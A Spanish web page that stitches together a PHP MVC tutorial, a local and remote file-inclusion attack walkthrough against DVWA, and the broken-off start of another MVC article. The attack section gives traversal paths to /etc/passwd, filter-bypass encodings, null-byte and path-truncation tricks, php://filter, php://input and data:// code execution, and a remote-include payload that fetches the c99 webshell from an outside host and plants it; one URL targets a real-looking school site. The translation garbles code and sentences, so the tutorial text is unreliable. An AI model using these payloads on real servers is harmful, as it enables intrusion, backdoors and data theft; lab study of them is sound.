Inyección de archivos local y remota: aprovechando vulnerabilidades y sorteando filtros. Cree una página de "Portafolio". Una selección de enlaces útiles sobre el tema.

Imagine un sitio que consta de dos páginas. La página principal muestra algo de texto:

La segunda página representa a su editor:


En él podemos cambiar el contenido. pagina de inicio y guardar los cambios.

En la parte superior de las páginas hay un encabezado del sitio que consta de dos elementos. El primero de ellos no ha cambiado y refleja el nombre del sitio. El segundo contiene el título. pagina actual: Leer o Editar.

Debajo del encabezado hay un menú que es el mismo para todas las páginas del sitio y contiene enlaces a estas páginas.

Tampoco se modifica el "pie de página" de la página, que muestra información adicional sobre el sitio, por ejemplo, dirección, número de teléfono, información sobre el creador de la página.

La parte central de la página "Lectura" está ocupada por texto, que podemos configurar en la página "Edición" usando un formulario HTML normal con un elemento de área de texto.

Puntos de partida

Tenemos que combinar dos enfoques: MVC y OOP. Para ello, a la hora de desarrollar la arquitectura del sistema, nos guiaremos por las siguientes reglas.

  • Según la plantilla diseño MVC Los archivos de controlador, modelo y vista se dividirán en tres directorios separados.
  • Cada controlador estará representado por un archivo separado en el que se declarará una clase de controlador, que encapsulará la lógica del controlador y proporcionará métodos para procesar la solicitud HTTP del usuario.
  • Cada página del sitio tendrá un controlador independiente responsable de su salida.
  • Los modelos de sistemas también se implementarán como clases.
  • Las vistas se implementarán como archivos PHP normales con marcado HTML intercalado con código PHP para mostrar el valor de las variables del script.
  • Las solicitudes HTTP al sistema se realizarán a través de un punto de entrada especial: el archivo index.php.
  • Aunque este tema ya se ha discutido, reiteramos que es importante tener claras las diferencias entre el propósito de las clases de controlador y las clases de modelo. Las clases de controlador se utilizan para manejar la solicitud HTTP del usuario, es decir, para recibir los parámetros de la solicitud de entrada y preparar la página HTML resultante. Para hacer este trabajo, los controladores usan clases de modelo que representan individuos bloques de funciones: trabajar con una base de datos, trabajar con archivos, trabajar con cuentas de usuario, etc. Cada uno de estos bloques conectados lógicamente se representa como una clase separada. Por ejemplo, su sistema puede tener una clase de base de datos que almacenará un identificador de la conexión de base de datos actual y proporcionará un conjunto de métodos para consultar la base de datos y recuperar varios conjuntos de datos.

    Punto de entrada

    Un punto de entrada es un script que un usuario puede invocar directamente desde la barra de direcciones del navegador. Casi todos los ejemplos que escribiste anteriormente contenían múltiples puntos de entrada. Sin embargo, en en este momento Se considera una buena práctica en programación web utilizar un punto de entrada al sitio. Toda la lógica para la transición entre páginas se implementa mediante parámetros adicionales pasados ​​al script, así como a través de sesiones y cookies. En un único punto de entrada, el programador puede definir acciones específicas para cada página del sitio. Esto podría ser la autenticación del usuario, el establecimiento de una conexión a la base de datos, la inicialización de variables globales y otras tareas.

    En nuestro ejemplo, también usaremos un único punto de entrada: el archivo index.php. Veamos su contenido:

    vamos arreglemos el trabajo de este escenario línea por línea.

    Include_once("inc/C_View.php"); include_once("inc/C_Edit.php");

    Las dos primeras líneas incluyen archivos de controlador para las páginas "Lectura" y "Edición".

    Cambiar ($_GET["c"])

    Aquí se analiza el parámetro GET denominado c:

    Caso "editar": $controlador = nuevo C_Edit();

    romper; Si este parámetro

    almacena la cadena "editar", luego a la variable $controller se le asigna un objeto de la clase C_Edit, cuya descripción se encuentra en el archivo inc/C_Edit.php, incluido al principio del script.

    Si el parámetro c no se especifica o tiene un valor distinto de "editar", se ejecuta otra rama de la instrucción switch:

    Predeterminado: $controlador = nuevo C_View();

    Aquí a la variable $controller se le asigna una instancia de la clase C_View. Finalmente, la última línea llama al método. Pedido()

    para el objeto creado:

    $controlador->Solicitud(); Tenga en cuenta que aquí podemos ver un ejemplo típico de polimorfismo Finalmente, la última línea llama al método.. La variable $controller puede almacenar tanto una instancia de la clase C_Edit como una instancia de la clase C_View. Por lo tanto, no podemos conocer de antemano el método.

    En general, la tarea del punto de entrada es simple: transferir el control a uno de los controladores. Cuál se determina utilizando el parámetro de solicitud GET denominado c.

    Jerarquía del controlador

    Comencemos a diseñar el sistema y primero determinemos qué controladores estarán presentes en él. En el archivo index.php puede ver que el sistema tiene al menos dos controladores, representados como clases C_Edit y C_View. La tarea de la clase C_Edit es organizar la visualización de la página "Edición" y la clase C_View es mostrar la página "Lectura". Tratamiento parámetros de entrada y la salida de la página se encapsula dentro del método Finalmente, la última línea llama al método., que debe estar presente en las clases C_View y C_Edit. Esto podría sugerir la creación de una clase principal común para los dos controladores. De hecho, la implementación de C_View será muy parecida a la de C_Edit, por lo que desacoplar la clase de controlador base es un paso útil.

    Así, llegamos a la idea de la necesidad de crear una clase de controlador base. Llamémoslo C_Base. Será abstracto y no tendrá implementaciones concretas. Lo presentamos para que otras clases de controlador lo hereden. La clase C_Base almacenará propiedades y métodos básicos específicos de cada controlador de un sitio determinado.

    reflexionemos¿Qué parámetros son comunes a cada página del sitio? En primer lugar, este es el nombre del sitio. En segundo lugar, el texto ubicado al final de cada página. Esto también incluye elementos de menú que son los mismos para cada página del sitio. En resumen, podemos decir que el controlador C_Base es responsable de la plantilla básica del sitio.

    Obviamente cada controlador contendrá un método Finalmente, la última línea llama al método., responsable de procesar la solicitud. Por lo tanto, su declaración también se puede colocar en la clase C_Base y hacerla abstracta, de modo que se requieran clases heredadas para implementar este método.

    Tal vez tenga sentido resaltar algunos más propiedades generales o métodos para todos los controladores de sitio. Piénselo usted mismo. Destacamos que C_Base es una clase base que combina todo elementos comunes cada controlador de un sitio en particular.

    Pero intentemos ir aún más lejos y pensar: ¿es posible crear una clase de controlador que encapsule la lógica sin cambios para cualquier controlador en cualquier sitio? Ya no podremos transferir la propiedad del nombre del sitio a dicha clase, pero, por ejemplo, el método Finalmente, la última línea llama al método., responsable de procesar la solicitud y generar la página resultante, debe estar invariablemente presente en cualquier controlador.

    No nos detengamos y demostremos la jerarquía de clases de controladores, que le sugerimos que tome como ejemplo:

    Este diagrama se utiliza en términos descriptivos. lenguaje UML y se llama diagrama de clases. Cada rectángulo corresponde a una clase separada. En la parte superior del rectángulo, el nombre de la clase está resaltado en negrita. Las flechas indican relaciones de herencia. Las propiedades de una clase están en cursiva y sus métodos están en cursiva. El signo – delante de las propiedades o métodos indica que la propiedad o método está declarado con el modificador privado, el signo # corresponde al modificador protegido y + corresponde al modificador público.

    Clase de controlador

    Controller es una clase de controlador base que está diseñada para encapsular los elementos más comunes a los controladores en cualquier sitio web. Aquí hemos incluido una serie de funciones auxiliares:

  • Plantilla()- sustituir un conjunto de variables en la plantilla y mostrarlas en la pantalla;
  • esObtener()- comprobar si se completó una solicitud GET;
  • Es publicación()- para comprobar si se completó la solicitud POST.
  • La clase Controlador contiene una declaración de un método que ya conocemos. Finalmente, la última línea llama al método..
    Veamos su implementación:

    Solicitud de función pública() ( $this->OnInput(); $this->OnOutput(); )

    en método Finalmente, la última línea llama al método. Dividimos el procesamiento de solicitudes en dos partes: procesamiento de datos de entrada (método En entrada()) y formación de la página resultante (método En salida()). Esta división es bastante conveniente y proponemos utilizarla en proyectos futuros. Métodos En entrada() Y En salida() debe ser anulado en clases secundarias.

    Clase C_Base

    C_Base es el controlador base para nuestro sitio específico. En la mayoría de los casos, necesita un controlador básico para todo el sitio. La clase C_Base es responsable de la base. plantilla html, puede definir variables básicas para todo el sitio, por ejemplo, el nombre del sitio.

    Además, en la clase C_Base necesitas anular los métodos. En entrada() Y En salida() e incluir en ellos acciones comunes a todos los responsables del sitio. Los controladores que heredarán de la clase C_Base anularán estos métodos, pero podrán llamar a los métodos principales utilizando la palabra clave principal.

    Proponemos la siguiente implementación de los métodos. En entrada() Y En salida() en la clase C_Base.

    Función protegida OnInput() ( $this->title = "Página de inicio"; $this->content = ""; } protected function OnOutput() { $vars = array("title" => $this->title,"content" => $this->content); $page = $this->Template("main", $vars); echo $page; } !}

    en método En entrada() podemos inicializar variables de plantilla valores predeterminados. en método En salida() Primero creamos una matriz de variables de plantilla y luego usamos el método. Plantilla(), que se define en la clase Controlador y es responsable de la sustitución de variables en la plantilla. Su implementación depende de usted. Según nuestra idea, el método Plantilla() toma dos parámetros: el primero de ellos es el nombre de la plantilla a conectar, el segundo parámetro es una matriz de variables que deben sustituirse en la plantilla. Finalmente, la página generada se muestra en la pantalla. Como puedes imaginar, esta es la última operación que debe realizar el script. Por lo tanto la función En salida() La clase C_Base debe llamarse al final de nuestro script PHP.

    Controladores C_View y C_Edit

    C_View y C_Edit - controladores paginas especificas sitio, anulan los métodos En entrada() Y En salida(), pero también transfiere el control al controlador C_Base.

    Veamos una implementación de ejemplo de estos métodos para la clase C_View.

    Función protegida OnInput() ( parent::OnInput(); $this->title = $this->title . " :: Leyendo"; $this->text = $this->getText(); ) función protegida OnOutput( ) ( $vars = array("texto" => $this->text); $this->content = $this->Template("theme/v_view.php", $vars); parent::OnOutput(); )

    en método En entrada() en primer lugar hay una llamada método principal, luego determina el título de la página y recupera su texto usando el método getText(). La implementación específica del método getText() no es importante para nosotros ahora. Puede recibir texto de una base de datos o de un archivo, o incluso devolver alguna constante predefinida. Lo importante es que como resultado almacenamos el texto en algún campo de clase.

    Método En salida() comienza con la formación de una matriz, que se pasa a la función de generación de plantillas Plantilla(). El resultado de su ejecución se almacena en el campo de contenido. Entonces se llama al método padre. En salida(). Volver al texto del método En salida() clase C_Base y tenga en cuenta que en realidad usa el valor del campo de contenido, que formamos en el método actual En salida() clase C_View.

    Si miras el código nuevamente, notarás que llamar a los métodos principales En entrada() Y En salida() tipo de marco del bucle de procesamiento de solicitudes en la clase C_View.

    Ciclo de procesamiento de solicitudes

    Ahora veamos la vista general del procesamiento de solicitudes que recibimos. La ejecución del script comienza desde el archivo index.php. Aquí se selecciona el controlador deseado y se le transfiere el control de la llamada al método. Finalmente, la última línea llama al método..

    Este método inicia dos fases de procesamiento de solicitudes:

  • Llamando al modelo (OnInput());
  • Generación de HTML (OnOutput()).
  • La primera fase debería funcionar en la siguiente secuencia:
  • Controlador básico (C_Base);
  • Un controlador específico (C_View o C_Edit).
  • A continuación comienza la fase de generación de HTML, se debe proceder en orden inverso:
  • Controlador específico (C_View o C_Edit);
  • Controlador base (C_Base).
  • en el diagrama este ciclo se puede representar así:


    En conclusión

    Con esto concluye la historia sobre la aplicación. POO junto con el concepto mvc. Tendrá que implementar usted mismo los bloques funcionales restantes del sitio. No te dejes intimidar por la alta dificultad de la tarea. Poco a poco, los nuevos conceptos le resultarán familiares y podrá navegar por ellos con mucha más confianza.

    Programar nunca ha sido fácil para nadie. Con cada día de práctica, con cada nuevo script PHP, obtendrá su propia experiencia invaluable, que en el futuro le permitirá desarrollar de manera rápida, competente y efectiva sistemas de Internet de cualquier complejidad. La clave de esta oportunidad es Este es un enfoque profesional para el desarrollo web.

    A veces la inyección de archivos se llama inclusión, a veces se considera parte de la inyección de PHP (inyección de código). Esto último no es del todo cierto, ya que las vulnerabilidades de inyección de archivos no están necesariamente relacionadas con la ejecución del código.

    La vulnerabilidad puede ocurrir al usar (en PHP) expresiones como:

    • requerir_una vez,
    • incluir_una vez,
    • incluir,
    • requerir

    Cada uno de ellos tiene pequeños matices, pero lo que tienen en común es que incluyen un archivo en el programa y lo ejecutan. Estas expresiones pueden causar problemas si pasan la entrada del usuario y el programa no las filtra lo suficiente.

    Por cierto, sí, son expresiones, no funciones. No es necesario escribir así:

    Requerir("algunarchivo.php");

    Una opción más preferible es:

    Requerir "algún archivo.php";

    Pero ésta es una retirada que no tiene nada que ver con la vulnerabilidad.

    Si los archivos se incluyen utilizando las expresiones require_once, include_once, include, require, entonces podemos decir que la inyección de código también se produce al mismo tiempo. Sin embargo, es posible incluir archivos sin ejecutar código en el servidor. Por ejemplo, un sitio web cambia su apariencia según el tema elegido por el usuario. El nombre de los temas corresponde al nombre de los archivos HTML que se leen en el servidor. En esta situación, si la solicitud se forma de tal manera que se lee un archivo que no está diseñado para esto (por ejemplo, un archivo PHP), en lugar de ejecutar los comandos, se mostrará código fuente PHP.

    El usuario puede especificar un archivo remoto o local como archivo de inclusión. En base a esto, se distinguen dos variedades correspondientes:

    • inyección de archivos locales
    • inyección remota de archivos

    El peligro de la inclusión remota es la ejecución de código arbitrario en un servidor vulnerable. Esto generalmente se usa para infecciones de puerta trasera.

    Peligro implementación local archivos es que el usuario puede mostrar el contenido de archivos para los que no tiene derechos de visualización (códigos fuente de programas, archivos del sistema con configuraciones y contraseñas). Además, con la inclusión local, es posible ejecutar código de terceros (por ejemplo, para una infección de puerta trasera), si previamente se cargó un archivo con código malicioso en el servidor, o se utilizó el método de envenenamiento de registros, o algún otro método.

    La inclusión local de archivos no es menos peligrosa que la introducción de archivos remotos.

    Explotación de la incrustación de archivos locales

    Puede probar esta vulnerabilidad en Damn Vulnerable Web Application (DVWA). Estoy usando Web Security Dojo, donde ya está instalado DVWA.

    Empecemos con nivel bajo(Seguridad DVWA baja).

    Vayamos a la página de inclusión de archivos http://localhost/dvwa/vulnerabilities/fi/?page=include.php

    • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
    • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

    Si se pasa un valor similar a un nombre de archivo (archivo1.php, archivo2.php) como argumento a una variable, entonces podemos asumir que se está utilizando una inclusión. Dado que la extensión del archivo es .php, lo más probable es que el archivo se ejecute en el servidor (es decir, es posible la inyección de código) y no solo se muestre para su visualización.

    DVWA tiene una página http://localhost/dvwa/about.php, está ubicada dos niveles arriba, intentemos verla de esta manera: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ acerca de.php

    Sí, existe una vulnerabilidad de inclusión local. Al ingresar, las transiciones a los directorios superiores (../) no se filtran; la lista de archivos para incluir no es exhaustiva (en lugar del archivo sugerido*.php, elegimos about.php).

    A veces se utilizan archivos incluidos, pero las direcciones pueden verse, por ejemplo, así: http://localhost/dvwa/vulnerabilities/fi/?page=file1. En este caso, se puede agregar una extensión al script y el script incrusta un archivo cuyo nombre finalmente se forma en el script. Como regla general, una vulnerabilidad de esta forma es difícil o imposible de explotar.

    A menudo, como ejemplo de explotación de la inclusión de un archivo local, les gusta dar algo como esto:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

    Como podemos ver, funcionó. Pero como los navegadores web ignoran /r/n (los caracteres nueva linea), entonces necesitamos abrir el código fuente para que las entradas sean legibles:

    Desafortunadamente, no hay contraseñas en el archivo /etc/passwd durante mucho tiempo.

    Desde el servidor puede extraer varios archivos de configuración, certificados SSL, en principio, cualquier archivo que esté abierto para que todos los usuarios lo lean o para el cual el servidor web tenga derechos suficientes para leer:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

    En cuanto a los hostings compartidos, a veces puedes buscar en las carpetas de otras personas (nuevamente, cuando configuración incorrecta derechos de usuario).

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

    La tarea se complica por el hecho de que necesitamos saber la ruta al archivo.

    Operación de inyección remota de archivos.

    PHP es un lenguaje de programación muy flexible y fácil de desarrollar. Los comandos de incrustación de archivos y algunos otros reconocen perfectamente y procesan correctamente no sólo los archivos locales, sino también las URL...

    Intentemos escribir la URL del sitio https://site/ en lugar del nombre del archivo:

    http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

    Mira que interesante resulta:

    Sucedió lo siguiente: el intérprete PHP recibió un comando para incluir el archivo/sitio https://site/. Abrió/descargó la dirección correspondiente y envió el código resultante para su ejecución como programas PHP. Debido a que PHP sólo ejecuta código rodeado por etiquetas apropiadas (en en este caso no había ningún código), y todo lo demás se muestra tal cual, luego toda la página del sitio web se muestra tal cual.

    Por supuesto, esta vulnerabilidad nos interesa no porque podamos ver otros sitios a través de un sitio.

  • Generar/encontrar el código fuente de la puerta trasera
  • Creamos un archivo correcto desde el punto de vista PHP para su ejecución en el servidor, que guarda el código fuente del backdoor en un archivo PHP.
  • Guarde el código recibido en un archivo de TEXTO
  • Sube este archivo de texto a un servidor controlado
  • Guardamos nuestra puerta trasera en un servidor vulnerable mediante la inclusión remota de archivos
  • Resalté la palabra "texto" porque en el servidor bajo nuestro control debería haber un archivo de texto que no debería ejecutarse en nuestro servidor. Nuestro servidor sólo necesita mostrar su contenido.

    Para crear una puerta trasera, puede utilizar Weevely, PhpSploit o puede optar por soluciones ya preparadas. Esta vez usemos uno ya hecho.

    Asignaré a la variable $backdoor el código fuente de la puerta trasera, que descargo de Github. Luego uso la función file_put_contents para guardar el código fuente resultante en el archivo c99unlimited.php.

    El código que publiqué en archivo de texto

    $puerta trasera = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$puerta trasera"); eco "¡hecho!";

    Está disponible en http://miloserdov.org/sec.txt

    Ahora, usando una inclusión remota, cargamos una puerta trasera a un servidor vulnerable.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Preste atención a la inscripción ¡Listo!, se muestra en el guión, es decir. Probablemente todo salió bien.

    Dado que el script que incluye los archivos se encuentra en el directorio http://localhost/dvwa/vulnerabilities/fi/, y nuestro nuevo archivo con la puerta trasera debería haberse guardado con el nombre c99unlimited.php, la dirección completa de la puerta trasera en el servidor vulnerable debería ser: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Comprobamos:

    Genial, ahora tenemos todas las funciones que un administrador de servidor web podría necesitar... y aquellos que tienen acceso a su servidor.

    Omitir el filtrado al incluir archivos localmente

    Pasemos al nivel medio de seguridad (configurable en DVWA Security).

    Si miramos el código fuente (botón Ver código fuente):

    luego veremos que los caracteres ../ ahora están filtrados. Esto evitará que nos traslademos a un directorio superior a aquel en el que se ejecuta el script vulnerable.

    Aquellos. nada funcionará así:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Pensemos en cómo funciona el filtrado en este caso. Digamos que se filtra la palabra "malo", luego aparece una línea como

    bueno malo bueno

    después de filtrar se verá así:

    bien bien

    Y si insertas una línea como esta

    malo malo xo

    luego, después de filtrar (se eliminará lo "malo"), resultará

    Gravemente

    En ../ insertamos ../ en el medio nuevamente, resulta ..././

    Probemos con esta dirección http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / mi.cnf

    ¡Funcionó!

    Otra solución podría ser codificar caracteres en codificación hexadecimal, un ejemplo de esta línea:

    http://ejemplo.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" se puede sustituir por "%2E%2E%2f".

    También se practica la codificación hexadecimal doble, en la que “../” se reemplaza por “%252E%252E%252F”

    Inclusión local de archivos al agregar una extensión en un script

    Si el código que incluye archivos se ve así:

    Aquellos. Si se agrega un .php o alguna otra extensión a cualquier entrada del usuario, esto no permite que la solicitud se forme de tal manera que se pueda llevar a cabo un ataque.

    Existen varias técnicas que están diseñadas para descartar la extensión, pero pueden considerarse obsoletas ya que funcionan en PHP 5.3, y aun así no en todas las versiones. Sin embargo, los administradores de servidores web son clínicamente conservadores y prefieren no tocar nada si funciona. Aquellos. Existe la posibilidad de encontrar un servidor con una versión muy antigua de PHP y usted debe conocer estas técnicas.

    Usando el byte nulo %00 (byte nulo)

    Se agrega un byte nulo al final de la solicitud para ignorar la extensión:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    El segundo método se llama ataque de poda de ruta. La conclusión es que PHP trunca rutas de más de 4096 bytes. En este caso, PHP abre el archivo correctamente, incluso si hay barras y puntos al final de su nombre. Si pasa como parámetro algo como?param1=../../../../etc/passwd/./././././ (donde ./ se repite miles de veces), entonces el archivo final junto con la extensión (que agregó el script, como resultado de lo cual el nombre del archivo pasó a incluir/../../../../etc/passwd/./././././ .php) será descartado. Y el nombre del archivo será include/../../../../etc/passwd/./././././. Y dado que PHP no se confunde con las barras diagonales y ./ al final del archivo, simplemente las ignora, en total PHP abrirá el archivo a lo largo de la ruta incluye/../../../../etc/ contraseña.

    Omitir el filtrado para la inyección remota de archivos

    Como ya vimos en el código fuente, el nivel de seguridad medio también filtra http:// y https://.

    Ahora http://localhost/dvwa/vulnerabilities/fi/?. Usaremos exactamente la misma técnica que para evitar el filtrado con inclusión local. Solicitud generada:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Y también tenga en cuenta que no se filtra, por ejemplo ftp, es decir. Esta opción funcionaría sin ningún truco:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Obtención del código fuente de los scripts PHP al incluir archivos de php://filter

    Este truco no requiere la inclusión remota de archivos. Se utilizará una especie de meta contenedor php://filter.

    Digamos que queremos ver el código fuente del archivo file1.php, entonces, para nuestra situación, la solicitud estará compuesta de esta manera:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Preste atención a la cadena sin sentido de letras y números: este es el código fuente del archivo file1.php en codificación base64. Como es base64, también se admiten archivos binarios.

    Decodificamos el archivo:

    Ejecución remota de código con php://input

    Esto no es como incrustar archivos y nuevamente no requiere que cargue archivos.

    Para ayuda usaré Extensión de Firefox, también puedes usarlo o cualquier otro programa (por ejemplo, curl) que pueda transferir datos usando el método POST.

    php://input tiene acceso al cuerpo sin formato solicitud HTTP Para comprender qué hace include("php://input"), abra la página

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Y en el cuerpo de la solicitud enviar PHP correcto código (por ejemplo, utilizando el método POST). ¡Esto le permitirá realizar cualquier función permitida en el servidor remoto!

    Ejecución remota de código con datos://

    Además, PHP admite el esquema de URL data://. ¡Puedes colocar el código directamente en el parámetro GET! La siguiente prueba no requiere ninguna herramienta especial, sólo un navegador normal para realizar el ataque.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Algunos firewalls de aplicaciones web pueden detectar una cadena sospechosa en una URL y bloquear la solicitud maliciosa. Pero hay una manera de cifrar la cadena con al menos codificación base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Ejecute comandos arbitrarios desde /proc/self/environ

    /proc/self/environ es el almacenamiento de variables de proceso. Si el proceso Apache tiene derechos suficientes para acceder a él, al abrir una página web que contenga una inclusión con una URL similar,

    www.website.com/view.php?page=../../../../../proc/self/environ

    generará algo como

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Versión/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [correo electrónico protegido] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Preste atención a HTTP_USER_AGENT. En su lugar, puede sustituir el código PHP correcto, que se ejecutará en un servidor remoto.

    Grabado e inyección de registros al incluir archivos localmente

    Desafortunadamente, en últimas versiones Apache este método ya no funciona.

    Su esencia radica en el hecho de que el código del atacante se inyecta en los registros del servidor web. Esto se puede hacer reemplazando User-Agent o incluso simplemente pasándolo en un parámetro GET.

    Inyección estática de un archivo remoto.

    Un ejemplo de estática incluye:

    Puedes utilizar una inclusión estática en situaciones muy exóticas. Para inyectar código malicioso es necesario realizar un ataque man-in-the-middle entre dos servidores: uno de los cuales aloja la aplicación web mediante la inclusión y el segundo aloja el archivo utilizado para la inclusión.

    Conclusión

    La mayoría de los ejemplos proporcionados aquí requieren ciertas condiciones, que se reducen a una configuración incorrecta del servidor. Aquellos. En pocas palabras, no todos los métodos que se muestran aquí funcionarán en la mayoría de los servidores web.

    Muchas personas comienzan a escribir un proyecto para trabajar con una sola tarea, sin implicar que pueda convertirse en un sistema de gestión multiusuario, por ejemplo, contenido o, Dios no lo quiera, producción. Y todo parece genial y genial, todo funciona, hasta que empiezas a comprender que el código que se escribe consiste enteramente en muletas y código rígido. El código se mezcla con diseño, consultas y muletas, a veces incluso ilegible. surge problema urgente: al agregar nuevas funciones, es necesario jugar con este código durante mucho tiempo, recordando "¿qué estaba escrito allí?" y maldicete en el pasado.

    Es posible que incluso hayas oído hablar de patrones de diseño e incluso hayas hojeado estos maravillosos libros:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Técnicas de diseño orientada a objetos. Patrones de diseño";
    • M. Fowler "Arquitectura de aplicaciones de software empresarial".
    Y muchos, impertérritos ante los enormes manuales y documentación, intentaron estudiar cualquiera de los marcos modernos y, ante la complejidad de la comprensión (debido a la presencia de muchos conceptos arquitectónicos hábilmente interconectados), pospusieron el estudio y el uso de herramientas modernas en un “refugio”.

    Este artículo será útil principalmente para principiantes. En cualquier caso, espero que en un par de horas pueda hacerse una idea de la implementación del patrón MVC, que subyace a todos los marcos web modernos, y también obtener "alimento" para una mayor reflexión sobre "cómo hazlo." Al final del artículo hay una selección de enlaces útiles que también le ayudarán a comprender en qué consisten los frameworks web (además de MVC) y cómo funcionan.

    Es poco probable que los programadores PHP experimentados encuentren algo nuevo en este artículo, ¡pero sus comentarios y comentarios sobre el texto principal serán de gran ayuda! Porque Sin teoría la práctica es imposible, y sin práctica la teoría es inútil, luego primero habrá un poco de teoría y luego pasaremos a la práctica. Si ya está familiarizado con el concepto MVC, puede omitir la sección teórica e ir directamente a la práctica.

    1. Teoría El patrón MVC describe una forma sencilla de estructurar una aplicación, cuyo propósito es separar la lógica empresarial de la interfaz de usuario. Como resultado, la aplicación es más fácil de escalar, probar, mantener y, por supuesto, implementar.

    Veamos el diagrama conceptual del patrón MVC (en mi opinión, este es el diagrama más exitoso que he visto):

    En la arquitectura MVC, el modelo proporciona datos y reglas de lógica de negocios, la vista es responsable de interfaz de usuario, y el controlador proporciona interacción entre el modelo y la vista.

    Un flujo típico de una aplicación MVC se puede describir de la siguiente manera:

  • Cuando un usuario visita un recurso web, el script de inicialización crea una instancia de la aplicación y la inicia para su ejecución.
    Esto muestra una vista de, digamos, la página principal del sitio.
  • La aplicación recibe una solicitud del usuario y determina el controlador y la acción solicitados. En el caso de la página principal, se realiza la acción predeterminada ( índice).
  • La aplicación crea una instancia del controlador y ejecuta el método de acción,
    que, por ejemplo, contiene llamadas a modelos que leen información de la base de datos.
  • Después de esto, la acción crea una vista con los datos obtenidos del modelo y muestra el resultado al usuario.
  • Modelo: contiene la lógica empresarial de la aplicación e incluye métodos de muestreo (pueden ser métodos ORM), procesamiento (por ejemplo, reglas de validación) y suministro de datos específicos, lo que a menudo lo hace muy denso, lo cual es bastante normal.
    El modelo no debe interactuar directamente con el usuario. Todas las variables relacionadas con la solicitud del usuario deben procesarse en el controlador.
    El modelo no debe generar HTML u otro código de visualización que pueda cambiar según las necesidades del usuario. Dicho código debe procesarse en vistas.
    El mismo modelo, por ejemplo: el modelo de autenticación de usuario se puede utilizar tanto en la parte de usuario como en la parte administrativa de la aplicación. En este caso, puede mover el código general a una clase separada y heredar de él, definiendo métodos específicos de subaplicación en sus descendientes.

    Ver: se utiliza para especificar la visualización externa de los datos recibidos del controlador y el modelo.
    Las vistas contienen marcado HTML y pequeñas inserciones de código PHP para recorrer, formatear y mostrar datos.
    No debe acceder directamente a la base de datos. Esto es lo que deberían hacer los modelos.
    No debería funcionar con datos obtenidos a partir de una solicitud de usuario. Esta tarea debe ser realizada por el controlador.
    Puede acceder directamente a las propiedades y métodos de un controlador o modelos para obtener datos listos para la salida.
    Las vistas generalmente se dividen en una plantilla común, que contiene marcas comunes a todas las páginas (por ejemplo, un encabezado y pie de página) y partes de la plantilla que se utilizan para mostrar la salida de datos del modelo o mostrar formularios de entrada de datos.

    El controlador es el pegamento que conecta modelos, vistas y otros componentes en aplicación de trabajo. El responsable del tratamiento es responsable de procesar las solicitudes de los usuarios. El controlador no debe contener consultas SQL. Es mejor mantenerlos en modelos. El controlador no debe contener HTML ni otro tipo de marcado. Vale la pena ponerlo a la vista.
    En una aplicación MVC bien diseñada, los controladores suelen ser muy delgados y contienen sólo unas pocas docenas de líneas de código. No se puede decir lo mismo de los Inspectores Gordos Estúpidos (SFC) en CMS Joomla. La lógica del controlador es bastante típica y la mayor parte se lleva a cabo en clases base.
    Los modelos, por el contrario, son muy gruesos y contienen la mayor parte del código relacionado con el procesamiento de datos, porque La estructura de datos y la lógica empresarial que contiene suelen ser bastante específicas de una aplicación en particular.

    1.1. Controlador frontal y controlador de página En la mayoría de los casos, la interacción del usuario con una aplicación web se produce haciendo clic en enlaces. Mire ahora la barra de direcciones de su navegador: recibió este texto desde este enlace. Otros enlaces, como los que se encuentran en el lado derecho de esta página, le brindarán contenido diferente. Entonces el enlace representa comando específico aplicación web.

    Espero que ya hayas notado que diferentes sitios pueden tener resultados perfectos. diferentes formatos construyendo una barra de direcciones. Cada formato puede mostrar la arquitectura de una aplicación web. Aunque no siempre es así, en la mayoría de los casos es un hecho claro.

    Consideremos dos opciones para la barra de direcciones, que muestran algo de texto y un perfil de usuario.

    Código de procesamiento aproximado en este caso:
